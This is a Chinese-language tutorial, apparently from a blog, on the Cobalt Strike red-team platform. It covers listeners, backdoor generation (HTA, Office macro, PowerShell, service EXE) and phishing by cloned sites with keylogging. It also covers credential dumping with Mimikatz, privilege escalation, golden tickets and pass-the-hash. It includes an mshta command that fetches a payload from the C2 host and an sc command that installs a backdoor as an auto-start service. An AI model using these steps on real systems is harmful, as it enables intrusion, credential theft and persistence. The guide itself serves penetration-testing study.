目录
3.3.6 Windows Executable & Windows Executable(S)
1. CobaltStrike简介
CobaltStrike是一款后渗透神器,有个故事是这么说的自从用了CobaltStrike神器后,妈妈再也不用担心我搞渗透了。专业人士亲切的称它为CS,于其说它是一个工具不如说它是一个集成的平台,可以同时上线多个用户。使用Cobalt Strike来协调红队的分散行动,使用一个或更多的远程主机分阶段的搭建CS的基础环境,启用服务器并让多个团队成员于其建立连接。
团队成员上线同一个服务端,会在团队成员内:
-
使用相同的会话
-
分享靶机数据
-
通过一个共享的事件日志交流
作为红队使用CS客户端也可能会连接多个CS服务端,当连接多个服务端时会在Cobalt Strike窗口底部出现切换条允许在活跃的CS服务端之间切换。每一个服务端都会有一个按钮在窗口底部出现。
CobaltStrike为什么称之为神器,因为它集成了端口转发、服务扫描、权限提升,多功能后门木马生成(包含Windows exe、Windows dll、C、Java、office宏病毒),钓鱼攻击等等强大的功能。
2.CobaltStrike的安装
本文在Linux系统上安装,安装很简单,配置java环境,将CobaltStrike安装包上传至安装目录下,解压即可。
本人在Kali上安装,Kali自带Java环境,但自带的环境会存在很多的问题,保险起见建议删除更新kali自带的Java环境,具体方法请自行百度,本文不赘述。
上传好安装包后,执行解压命令,本人得到的安装包是rar格式,需要在kali安装rar解压,这样CobaltStrike就算是安装好了。
rar -x cobaltstrike4.1.rar
cd cobaltstrike4.1 # 进入该目录
2.1 cs文件分析
查看cs包内文件,CobaltStrike主要文件和功能介绍如下:
-
agscript:扩展应用的脚本
-
c2lint:该文件主要检查profile的错误和异常
-
teamserver:服务端启动程序
-
cobaltstrike.jar:CobaltStrike主要核心程序
-
cobaltstrike.auth:用于客户端和服务端认证的文件(建议自己有时间可以查看一下cs的源码)
-
cobaltstrike.store:密钥证书存放文件
主要目录功能介绍如下:
-
data:用于保存当前TeamServer的数据
-
logs:日志文件(web日志、Beacon日志、截图日志、下载日志、键盘记录日志等等)
-
third-party:第三方工具目录
-
AggressorScripts-master:插件目录
2.2 cobaltstrike启动
启动服务端:
./teamserver 192.168.204.135 123456 # 该ip地址为服务端IP地址,而后是连接密码
后台运行,关闭终端依旧运行:nohub ./teamserver 192.168.204.135 123456 &
注意:cs默认监听端口为50050,可以打开teamserver文件,修改端口
启动客户端:
./cobaltstrike
使用客户端连接服务端:
在windows使用客户端连接:
使用文件cobaltstrike.bat
只需要双击即可
3. cobaltstrike使用
3.1 cs模块
- New connection:新建连接窗口
- Preferences:偏好,设置cobaltstrike外观
- Visualization:可视化,输出结果展示(将主机以不同的权限展示出来)
- VPN Interfaces:设置VPN接口
- Listeners:创建监听器
- Script Interfaces:查看加载cna脚本
- Close:关闭
3.2 创建监听器Listener
CobaltStrike的内置监听器为Beacon,外置监听器为Foreign。CobaltStrike的Beacon支持异步通信和交互式通信。
建立监听:
Listeners---->下方弹出区域点击Add
name:监听器名字
payload:payload类型
HTTP Hosts:shell反弹主机,是服务端IP
HTTP Host(Stager):控制HTTP Beacon的HTTP Stager的主机,当此payload与需要显示的stager
HTTP Port(C2):C2监听的端口
在payload字段内有8种不同的类型可供选择:
在以前的版本中该选项如下:
- windows/beacon_dns/reverse_dns_txt
- windows/beacon_dns/reverse_http
- windows/beacon_tcp/bind_tcp
- windows/beacon_http/reverse_http
- windows/beacon_https/reverse_https
- windows/beacon_smb/bind_pipe
- windows/foreign/reverse_http
- windows/foreign/reverse_https
- windows/foreign/reverse_tcp
需要了解beacon为内部监听器,在目标主机执行相关payload会向cd反弹一个shell;foreign主要是提供给外部使用的一些监听器,使用cs派生一个MSF的shell回来就需要使用外部监听器;在4.1版本中external c2是一个规范,允许第三方程序充当cs的beacon有效载荷的通讯层。
3.3 CobaltStrike主机上线
要想利用payload让主机上线,就要先清除cs可生成的后门文件,如下图:
据上图Attacks功能模块,可利用Packages生成各类后门,详情如下:
-
HTML Appliaction:生成一个恶意的HTML Appliacton木马,后缀为'.hta'。通过HTML调用其他语言的应用组件进行攻击,提供可执行文件。
-
MS Office Macro:生成office宏病毒文件。
-
Payload Generator:生成各种编程语言的payload(包含C、C#、COM Scriptlet、Java、Perl、Powershell、Python、Ruby、VBA)
-
Windows Executable:生成32位或64位的exe、dll可执行文件
-
Windows Executable(S):用于生成一个exe可执行文件,包含Beacon的完整payload,与4相比,该模块额外提供了代理功能,以便在比较严苛德环境下进行渗透测试。并且支持Powershell脚本,用于将Stageless Payload注入内存。
3.3.1 HTML Appliaction
HTML Appliaction会生成‘.hta’类型的文件。hta为HTML Appliaction的缩写,软件开发的新概念,将HTML保存成hta格式便是一个独立的软件,其有三种类型的后门,本人在实验中只有Powershell能测试成功,另两种方式会提示当前的页面脚本发生错误。实验步骤如下:
生成后门文件:
利用文件下载将后门下载至目标主机:
执行mshta上线:
命令:mshta http://192.168.204.135/download/file.ext
至于其他两个失败的测试就直接将生成的后门文件复制到靶机上执行吧,只执行其中一个即可。
3.3.2 MS Office Macro
该程序包生成的是一个Microsoft Office的宏文件并提供宏嵌入Microsoft Word或Microsoft Execl的说明。
选择监听器点击生成器
根据cobaltstrike提示点击Copy Macro
然后新建word,并打开编辑,点击试图,然后点击宏,例子是已经保存后的宏,新建只需输入宏名即可。
将清除里面的代码,复制CobaltStrike生成的代码,保存退出
在实际利用时只需将文档发送给他人,对方只需要双击打开该word,在开启宏的前提下,CS就会收到反弹回来的shell,进程名是rundll32.exe
office宏
百度:译自英文单词Macro。宏是微软公司为其OFFICE软件包设计的一个特殊功能,软件设计者为了让人们在使用软件进行工作时,避免一再地重复相同的动作而设计出来的一种工具,它利用简单的语法,把常用的动作写成宏,当在工作时,就可以直接利用事先编好的宏自动运行,去完成某项特定的任务,而不必再重复相同的动作,目的是让用户文档中的一些任务自动化。
word使用宏:开启和禁用(文件——>选项——>信任中心——>信任中心设置)
本人电脑实际上是禁用了宏,但是在实验的时候还是成功获取到了shell,纳闷。
3.3.3 Payload Generator
payload生成器,该程序包以多种格式导出Cobalt Strike的stager。
本人测试使用powershell,懒惰的本人懒得去搞靶机环境
使用windows环境执行该payload
执行ps1脚本会产生一个异常
这是在默认情况下系统会禁止执行脚本,需要手动开启powershell脚本功能:
以管理员身份启动powershell,执行以下命令
Set-ExecutionPolicy RemoteSigned
免数字签名执行脚本
set-executionpolicy Bypass
然后再执行payload
3.3.4 Windows Executable
该程序包生成一个windows可执行Artifact,用于传送一个payload stager,该程序包提供多种输出选项。
使用该模块会生成一个exe可执行文件,可响应service control manager命令。普通的exe和服务器调用的exe存在区别, 利用Windows Service EXE生成的exe文件才能作为服务器自启动的执行文件,而Windows EXE不能作为服务器自启动程序,因此不能响应service control manager。Windows DLL会派生一个对应的进程,并将监听器迁移至其上,此功能与rundll32.exe兼容,利用命令行加载DLL。
3.3.5 Windows Executable(S)
该程序包直接导出Beacon,是开发者写好的32/64位DLL,是一个不使用stager的可执行文件,直接与监听器建立连接传输数据和执行命令。不使用stager的payload Artifact被叫做无阶段的Artifact。该程序包也有powershell选项来导出Bescon作为powershell脚本或者使用raw选项导出与位置无关的Beacon代码。
3.3.6 Windows Executable & Windows Executable(S)
这两个程序包直接用于生成可执行的exe或dll。但是Windows Executable是生成的Stager类型的马,而Windows Executable(S)生成的是Stageless类型的马,这两个类型的区别在于:
- Stager是分阶段传送Payload,Stager马在靶机上执行后会连接服务端下载真正的shellcode,我个人理解是依据分块传输来理解这个分阶段的。因为很多场景对于加载进内存并成功利用后执行的数据大小存在严格限制,所以就需要利用分阶段传输。如果不需要分阶段传输可在C2的扩展文件里面把host_stage选项设置为false。
- Stageless则是一个大马,后续不需要向服务端请求shellcode。所以这种方法生成的木马会比Stager马体积要大很多。这种大马有助于避免被溯源到,如果开启了分阶段传送,任何人都能连接到你的C2服务器请求payload,并分析payload中的配置信息。
Windows Executable(S)相比于Windows Executable,其中包含Beacon的完整payload,不需要阶段性的请求,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可将Stageless Payload注入内存。
注意:生成的Windows Service EXE生成的木马,直接双击是不会返回session,需要以创建服务的方式启动,才会返回session。
使用Windows Service EXE生成木马,需要利用到sc.exe(详细说明)
#注意,等号(=)后面要有空格,autoRunBackDoor为服务名,start为启动模式为自动
sc create autoRunBackDoor binPath= "cmd.exe /c C:\users\administrator\desktop\cs.exe" start= auto DisplayName= autoRunBackDoor
#开启某个系统服务
sc start autoRunBackDoor
#停止某个系统服务
sc stop autoRunBackDoor
# 删除某个系统服务
sc delete service_name
3.4 Attacks钓鱼
点击模块Attacks中存在Web Drive-by功能,该功能通尝被翻译为网站钓鱼攻击。
功能简介:
- web服务管理:对开启的web服务进行管理
- 克隆网站:克隆网站,目的主要是制作类似网站骗取用户敏感信息
- 文件下载:提供本地文件下载,使靶机从本地下载文件
- Scripted Web Delivery(S):基于Web的攻击测试脚本,自动生成可执行的payload,使用模块来生成powershell命令反弹shell
- 签名Applet攻击:启动一个Web服务以提供自签名Java Applet的运行环境
- 智能攻击:自动监测Java版本并利用已知的exploits绕过security
- 信息搜集:用来获取一些系统信息
3.4.1 克隆网站
该模块用来克隆网站,欺骗用户获取用户键盘记录。
查看键盘记录,这个应该类似于BurpSuite,百度的登陆信息看不到。
3.4.2 信息收集
该模块用来收集系统和浏览器信息
使用该链接会自动跳转到百度,CS可以获取到目标系统和浏览器的信息。
3.5 View视图
该模块主要是展示功能,
啊
视图功能模块详细解释:
-
Applications:显示受害者机器的应用信息
-
Credentials:显示受害者及其的凭证信息,通过hashdump和mimikatz获取的密码会保存在这儿
-
Downloads:查看从受害主机上下载的文件
-
Event Log:可以看到事件日志,清楚的看到系统的事件,还可以提供团队成员聊天
-
Keystrokes:查看键盘记录
-
Proxy Pivots:查看代理信息
-
Screenshots:查看屏幕截图
-
Script Console:在这里可以加载各种脚本以增强功能
-
Targets:查看目标
-
Web Log:查看web日志
3.6 Beacon会话操作
选中Beacon右击,会出现一个列表栏
3.6.1 Interact(互动)
中文版的这里是进入Beacon,就是可以利用Beacon执行命令的窗口。
3.6.2 Access(执行)
该模块的主要功能如下图:
在该模块里存放的是常用的功能,提取Hash、dump明文密码、提权等。
1. 转储HASH
除了使用鼠标一键获取外,也可以在命令行输入hashdump
2. Run Mimikatz(获取明文密码)
使用Mimikatz获取明文密码,需要注意的是Windows10是未存储明文密码,只适用于Windows7或者Windows2008以前的版本。
在试图模块凭证信息处会保存抓取的明文密码记录。
可在此处修改密码
3. (Elevate)提权
当获取的权限不足以让我们继续渗透下去时就要使用提权工具对用户进行权限提升,靶机实验建议使用版本较低的Windows环境。
默认是存在三个提权payload(MS14-058、uac-dll、uac-token-duplication)可以使用,本人的CS是曾经使用的时候到如果其他的payload。如果你也想自己加载提权脚本,可以将自己获取到的提权工具包导入进去。
导入提权脚本,在下图可以看到本人以前加载的工具脚本:
在实验环境中是对一台低权限的win2008R2系统进行权限提升操作,使用MS14-058进行提权,提权成功就会反弹回一个beacon。
3.6.3 Pivoting(中转)
1. 建立Socks4代理
当被控主机是一台边界机时,如果要继续渗透,打透内网的话,就需要在CS上将此主机作为跳板。
建立Socks代理只需要设置一个空置的端口即可
代理设置好后,IP为CS服务端的IP,端口是55074.
在视图模块-->代理信息可查看Socks4代理信息,可在浏览器设置代理
点击Tunnel,可以获取一个MSF代理
3.6.4 Explore(目标)
1. Process List(进程列表)
在上截图中下面有一排功能键,Inject:将Beacon注入进程,Log Keystrokes为键盘记录,Steal Token为窃取运行指定程序的用户令牌。
1.1 Inject
选择Inject按钮,选择监听器,随后CobaltStrike会反弹目标靶机的一个新的会话,这个会话就是成功注入到某个正常进程的Beacon会话,注入之后,除非那个进程被杀死,否则CS是一直能与该主机保持通信。
1.2 Log Keystrokes
选择任意一个进程点击Log Keystrokes,即可监听该主机的键盘记录,监听的是所有的键盘记录,不仅仅只是选中的进程。键盘监听记录,也可以直接输入keylogger。
正常情况下此时就可以看见键盘记录了。
1.3 Brower Pivot(浏览器代理)
使用该功能,是将会话注入到浏览器的进程中。然后在本地浏览器中设置该代理,可以直接使用本地浏览器访问目标机器浏览器已经登陆的网站。
1.4 Golden Ticket(黄金票据)
黄金票据:黄金票据是伪造票据授权(TGT),也被称为认证票据。在域控制器已被攻陷,攻击者持久控制域控制器。黄金票据主要是利用Kerberos协议缺陷和域中krbtgt账号的信息,可生成任意TGT,该TGT可用于当前域中Kerberos认证的任何服务。攻击者只需要保存krbtgt账号中的信息生成golden ticket注入内存当中,即可拥有权限,该票据的有限期是十年。
获取黄金票据的前提是已经获得了krbtgt用户的hash(cb1ea55e9b54123dfca9b2fd76826089)
点击当前获取的主机
点击后弹出对话框,填入已知的信息
点击Bulid后的结果如下图,在cs内还是利用了mimikatz这个工具自动执行了相关命令:
验证是否成功
1.5 MAke token(凭证转换)
该模块主要是使用获取到的域内其他的账号密码,利用此模块生成令牌具有指定用户身份的作用
输入已经得到的域账号密码
1.6 端口扫描
端口扫描有图形界面也有命令行
portscan 192.168.1.0/24 22,445,1433,3306
使用图形界面
扫描完了以后会直接在命令界面返回结果,可在视图菜单
1.6 hash传递或SSH远程登陆
在Windows系统中,在获取了机器的账号密码或者hash,都可以进行远程连接,当然前提是目标开放了445端口,然后利用CS远程连接开启一个CS的seesion。可以用以下方式远程连接:psexec、psexec64、psexec_psh、winrm和winrm64。
已经得到主机Windows7 的密码,现在想hash传递监听登陆域控主机Windows2008R2主机
获取Windows7主机的hash并且使用mimikatz获取明文(查看凭据信息内的数据):
使用端口扫描的信息会发现的主机会在目标内存在
使用以获取到的hash和密码远程连接域控主机
成功后会返回一个会话
如果是内网机器不能出网,需要设置中转,对于Linux使用SSH公私钥进行登陆。(先放着以后再做这个实验)
4. CobaltStrike常见命令
BeaconCommands
===============
Command Description
------- -----------
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect Connect to a Beacon peerover TCP
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs Enable system privileges oncurrent token
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link Connect to a Beacon peerover a named pipe
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid Set parent PID forspawned post-ex jobs
ps 显示进程列表
psexec Use a service to spawn asession on a host
psexec_psh Use PowerShell to spawn asession on a host
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg Query the registry
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runasadmin 在高权限下执行程序
runu Execute a program underanother PID
screenshot 屏幕截图
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn Spawn a session
spawnas Spawn a session as anotheruser
spawnto Set executable tospawn processes into
spawnu Spawn a session underanother PID
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink Disconnect from parentBeacon
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话
argue 进程参数欺骗
本文参考
谢公子博客:https://xie1997.blog.csdn.net/article/details/89489609
A-Team出品:《Cobalt Strike 4.0 手册翻译》